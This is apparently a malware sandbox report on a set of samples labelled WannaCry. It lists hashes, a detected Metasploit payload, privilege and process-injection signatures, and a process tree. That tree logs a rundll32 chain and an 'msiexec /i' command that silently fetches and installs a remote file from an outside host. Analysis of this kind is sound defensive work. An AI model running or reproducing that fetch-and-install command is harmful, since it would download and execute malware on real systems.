Overview
overview
10Static
static
10WannaCry/H...c1.dll
windows7_x64
1WannaCry/H...c1.dll
windows10_x64
1WannaCry/H...81.dll
windows7_x64
10WannaCry/H...81.dll
windows10_x64
10WannaCry/T...7f.dll
windows7_x64
10WannaCry/T...7f.dll
windows10_x64
10WannaCry/T...71.dll
windows7_x64
10WannaCry/T...71.dll
windows10_x64
10WannaCry/T...02.dll
windows7_x64
10WannaCry/T...02.dll
windows10_x64
10WannaCry/T...2f.dll
windows7_x64
10WannaCry/T...2f.dll
windows10_x64
10WannaCry/T...a6.dll
windows7_x64
10WannaCry/T...a6.dll
windows10_x64
10WannaCry/T...3f.dll
windows7_x64
10WannaCry/T...3f.dll
windows10_x64
10WannaCry/T...66.dll
windows7_x64
10WannaCry/T...66.dll
windows10_x64
10WannaCry/T...ba.dll
windows7_x64
10WannaCry/T...ba.dll
windows10_x64
10WannaCry/T...37.dll
windows7_x64
WannaCry/T...37.dll
windows10_x64
10WannaCry/T...10.dll
windows7_x64
10WannaCry/T...10.dll
windows10_x64
10WannaCry/T...f2.dll
windows7_x64
10WannaCry/T...f2.dll
windows10_x64
10WannaCry/T...af.dll
windows7_x64
10WannaCry/T...af.dll
windows10_x64
10WannaCry/T...40.dll
windows7_x64
10WannaCry/T...40.dll
windows10_x64
10WannaCry/T...81.dll
windows7_x64
10WannaCry/T...81.dll
windows10_x64
10Analysis
-
max time kernel
19s -
max time network
195s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
26-12-2020 20:16
Static task
static1
Behavioral task
behavioral1
Sample
WannaCry/HEUR.Trojan-Downloader.Win32.Generic.02c5f1515bf42798728fac17bfe1e4c1.dll
Resource
win7v20201028
Behavioral task
behavioral2
Sample
WannaCry/HEUR.Trojan-Downloader.Win32.Generic.02c5f1515bf42798728fac17bfe1e4c1.dll
Resource
win10v20201028
Behavioral task
behavioral3
Sample
WannaCry/HEUR.Trojan.Win32.Generic.fc4bb3140f35cc8abd681b63096e7b81.dll
Resource
win7v20201028
Behavioral task
behavioral4
Sample
WannaCry/HEUR.Trojan.Win32.Generic.fc4bb3140f35cc8abd681b63096e7b81.dll
Resource
win10v20201028
Behavioral task
behavioral5
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.01bdc6fb077098f4a3b60f4b0e479a7f.dll
Resource
win7v20201028
Behavioral task
behavioral6
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.01bdc6fb077098f4a3b60f4b0e479a7f.dll
Resource
win10v20201028
Behavioral task
behavioral7
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.033f9150e241e7accecb60d849481871.dll
Resource
win7v20201028
Behavioral task
behavioral8
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.033f9150e241e7accecb60d849481871.dll
Resource
win10v20201028
Behavioral task
behavioral9
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.0ab2aeda90221832167e5127332dd702.dll
Resource
win7v20201028
Behavioral task
behavioral10
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.0ab2aeda90221832167e5127332dd702.dll
Resource
win10v20201028
Behavioral task
behavioral11
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.0ab9a60a55cb40fc338e8f4988feee2f.dll
Resource
win7v20201028
Behavioral task
behavioral12
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.0ab9a60a55cb40fc338e8f4988feee2f.dll
Resource
win10v20201028
Behavioral task
behavioral13
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.0d95f3f64e7782ec7acd3a1b76c276a6.dll
Resource
win7v20201028
Behavioral task
behavioral14
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.0d95f3f64e7782ec7acd3a1b76c276a6.dll
Resource
win10v20201028
Behavioral task
behavioral15
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.106e21fb736cb4e7a18a1746ef18e03f.dll
Resource
win7v20201028
Behavioral task
behavioral16
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.106e21fb736cb4e7a18a1746ef18e03f.dll
Resource
win10v20201028
Behavioral task
behavioral17
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.1147f2c00d4bfd70169fe034c5965066.dll
Resource
win7v20201028
Behavioral task
behavioral18
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.1147f2c00d4bfd70169fe034c5965066.dll
Resource
win10v20201028
Behavioral task
behavioral19
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.12cb506898dac8a271c8b940a9a3dfba.dll
Resource
win7v20201028
Behavioral task
behavioral20
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.12cb506898dac8a271c8b940a9a3dfba.dll
Resource
win10v20201028
Behavioral task
behavioral21
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.1d6958990c8c4f5b9b93efa692b84937.dll
Resource
win7v20201028
Behavioral task
behavioral22
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.1d6958990c8c4f5b9b93efa692b84937.dll
Resource
win10v20201028
Behavioral task
behavioral23
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.1e8e8eb9b0c25208b5c83be09430c010.dll
Resource
win7v20201028
Behavioral task
behavioral24
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.1e8e8eb9b0c25208b5c83be09430c010.dll
Resource
win10v20201028
Behavioral task
behavioral25
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.29a9dd686f08aacddacc43a0c57215f2.dll
Resource
win7v20201028
Behavioral task
behavioral26
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.29a9dd686f08aacddacc43a0c57215f2.dll
Resource
win10v20201028
Behavioral task
behavioral27
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.2a13081acf353142a3e792683520cfaf.dll
Resource
win7v20201028
Behavioral task
behavioral28
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.2a13081acf353142a3e792683520cfaf.dll
Resource
win10v20201028
Behavioral task
behavioral29
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.2e5a8ac5174219bcb08d7449e43b1440.dll
Resource
win7v20201028
Behavioral task
behavioral30
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.2e5a8ac5174219bcb08d7449e43b1440.dll
Resource
win10v20201028
Behavioral task
behavioral31
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.2f76b88b420003516f90062940ef7881.dll
Resource
win7v20201028
Behavioral task
behavioral32
Sample
WannaCry/Trojan-Ransom.Win32.Wanna.m.2f76b88b420003516f90062940ef7881.dll
Resource
win10v20201028
General
-
Target
WannaCry/HEUR.Trojan.Win32.Generic.fc4bb3140f35cc8abd681b63096e7b81.dll
-
Size
5KB
-
MD5
fc4bb3140f35cc8abd681b63096e7b81
-
SHA1
0946eff5c8cb8bca76dc0702e15076a332929439
-
SHA256
89c3af5318ed0d9de1f320f94152a6730a6a3cbef53593e2a23765da015132d9
-
SHA512
8848e247ece3f51de90c35b93902b46ae4099f611a056b2cf4431f7251296939647f1b964b948a578cba2aa74b4b4123a7a2e05e696e9941eecdb3aebf11be29
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 2000 msiexec.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
rundll32.exedescription pid process target process PID 1936 set thread context of 2004 1936 rundll32.exe rundll32.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
Processes:
msiexec.exemsiexec.exedescription pid process Token: SeShutdownPrivilege 2000 msiexec.exe Token: SeIncreaseQuotaPrivilege 2000 msiexec.exe Token: SeRestorePrivilege 1968 msiexec.exe Token: SeTakeOwnershipPrivilege 1968 msiexec.exe Token: SeSecurityPrivilege 1968 msiexec.exe Token: SeCreateTokenPrivilege 2000 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2000 msiexec.exe Token: SeLockMemoryPrivilege 2000 msiexec.exe Token: SeIncreaseQuotaPrivilege 2000 msiexec.exe Token: SeMachineAccountPrivilege 2000 msiexec.exe Token: SeTcbPrivilege 2000 msiexec.exe Token: SeSecurityPrivilege 2000 msiexec.exe Token: SeTakeOwnershipPrivilege 2000 msiexec.exe Token: SeLoadDriverPrivilege 2000 msiexec.exe Token: SeSystemProfilePrivilege 2000 msiexec.exe Token: SeSystemtimePrivilege 2000 msiexec.exe Token: SeProfSingleProcessPrivilege 2000 msiexec.exe Token: SeIncBasePriorityPrivilege 2000 msiexec.exe Token: SeCreatePagefilePrivilege 2000 msiexec.exe Token: SeCreatePermanentPrivilege 2000 msiexec.exe Token: SeBackupPrivilege 2000 msiexec.exe Token: SeRestorePrivilege 2000 msiexec.exe Token: SeShutdownPrivilege 2000 msiexec.exe Token: SeDebugPrivilege 2000 msiexec.exe Token: SeAuditPrivilege 2000 msiexec.exe Token: SeSystemEnvironmentPrivilege 2000 msiexec.exe Token: SeChangeNotifyPrivilege 2000 msiexec.exe Token: SeRemoteShutdownPrivilege 2000 msiexec.exe Token: SeUndockPrivilege 2000 msiexec.exe Token: SeSyncAgentPrivilege 2000 msiexec.exe Token: SeEnableDelegationPrivilege 2000 msiexec.exe Token: SeManageVolumePrivilege 2000 msiexec.exe Token: SeImpersonatePrivilege 2000 msiexec.exe Token: SeCreateGlobalPrivilege 2000 msiexec.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
rundll32.exerundll32.exerundll32.exedescription pid process target process PID 880 wrote to memory of 1936 880 rundll32.exe rundll32.exe PID 880 wrote to memory of 1936 880 rundll32.exe rundll32.exe PID 880 wrote to memory of 1936 880 rundll32.exe rundll32.exe PID 880 wrote to memory of 1936 880 rundll32.exe rundll32.exe PID 880 wrote to memory of 1936 880 rundll32.exe rundll32.exe PID 880 wrote to memory of 1936 880 rundll32.exe rundll32.exe PID 880 wrote to memory of 1936 880 rundll32.exe rundll32.exe PID 1936 wrote to memory of 2004 1936 rundll32.exe rundll32.exe PID 1936 wrote to memory of 2004 1936 rundll32.exe rundll32.exe PID 1936 wrote to memory of 2004 1936 rundll32.exe rundll32.exe PID 1936 wrote to memory of 2004 1936 rundll32.exe rundll32.exe PID 1936 wrote to memory of 2004 1936 rundll32.exe rundll32.exe PID 1936 wrote to memory of 2004 1936 rundll32.exe rundll32.exe PID 1936 wrote to memory of 2004 1936 rundll32.exe rundll32.exe PID 1936 wrote to memory of 2004 1936 rundll32.exe rundll32.exe PID 2004 wrote to memory of 2000 2004 rundll32.exe msiexec.exe PID 2004 wrote to memory of 2000 2004 rundll32.exe msiexec.exe PID 2004 wrote to memory of 2000 2004 rundll32.exe msiexec.exe PID 2004 wrote to memory of 2000 2004 rundll32.exe msiexec.exe PID 2004 wrote to memory of 2000 2004 rundll32.exe msiexec.exe PID 2004 wrote to memory of 2000 2004 rundll32.exe msiexec.exe PID 2004 wrote to memory of 2000 2004 rundll32.exe msiexec.exe
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\WannaCry\HEUR.Trojan.Win32.Generic.fc4bb3140f35cc8abd681b63096e7b81.dll,#11⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\WannaCry\HEUR.Trojan.Win32.Generic.fc4bb3140f35cc8abd681b63096e7b81.dll,#12⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exemsiexec /i http://avip.okblcm.co:2650/abYDuh9tfbBfVYg7up.jpg /q4⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken